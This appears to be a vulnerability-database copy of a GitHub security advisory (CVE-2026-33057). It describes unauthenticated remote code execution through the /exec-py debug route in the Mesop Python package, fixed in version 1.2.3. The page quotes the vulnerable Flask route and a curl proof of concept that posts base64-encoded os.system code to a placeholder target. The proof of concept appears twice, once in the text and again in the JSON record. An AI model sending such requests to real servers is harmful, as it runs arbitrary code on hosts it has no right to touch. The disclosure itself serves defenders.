GHSA-GJGX-RVQR-6W6V

Vulnerability from github – Published: 2026-03-18 20:05 – Updated: 2026-03-20 21:23
VLAI?
Summary
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py
Details

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.2.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mesop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:05:00Z",
    "nvd_published_at": "2026-03-20T08:16:11Z",
    "severity": "CRITICAL"
  },
  "details": "#### Summary\nAn explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.\n\n#### Details\nThe AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`.\n\n```python\n# ai/sandbox/wsgi_app.py\n@flask_app.route(\"/exec-py\", methods=[\"POST\"])\ndef exec_py_route():\n  code = base64.urlsafe_b64decode(request.form.get(\"code\"))\n  # ... code is blindly written to file and forcefully executed\n```\n\n#### PoC\n```bash\n# Payload:\n# import os\n# os.system(\u0027echo \"pwned by attacker\" \u003e /tmp/pwned.txt\u0027)\n# \n# Base64 string represents the identical payload block above: \n# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\n\ncurl -X POST http://\u003ctarget_ip_address_hosting_sandbox\u003e:port/exec-py \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\"\n\n# Validate exploitation target execution natively:\n# $ cat /tmp/pwned.txt\n# pwned by attacker\n```\n\n#### Impact\nThis presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.",
  "id": "GHSA-gjgx-rvqr-6w6v",
  "modified": "2026-03-20T21:23:51Z",
  "published": "2026-03-18T20:05:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/commit/825f55970c20686de3f28e2c66df4d74e9d4db47"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mesop-dev/mesop"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.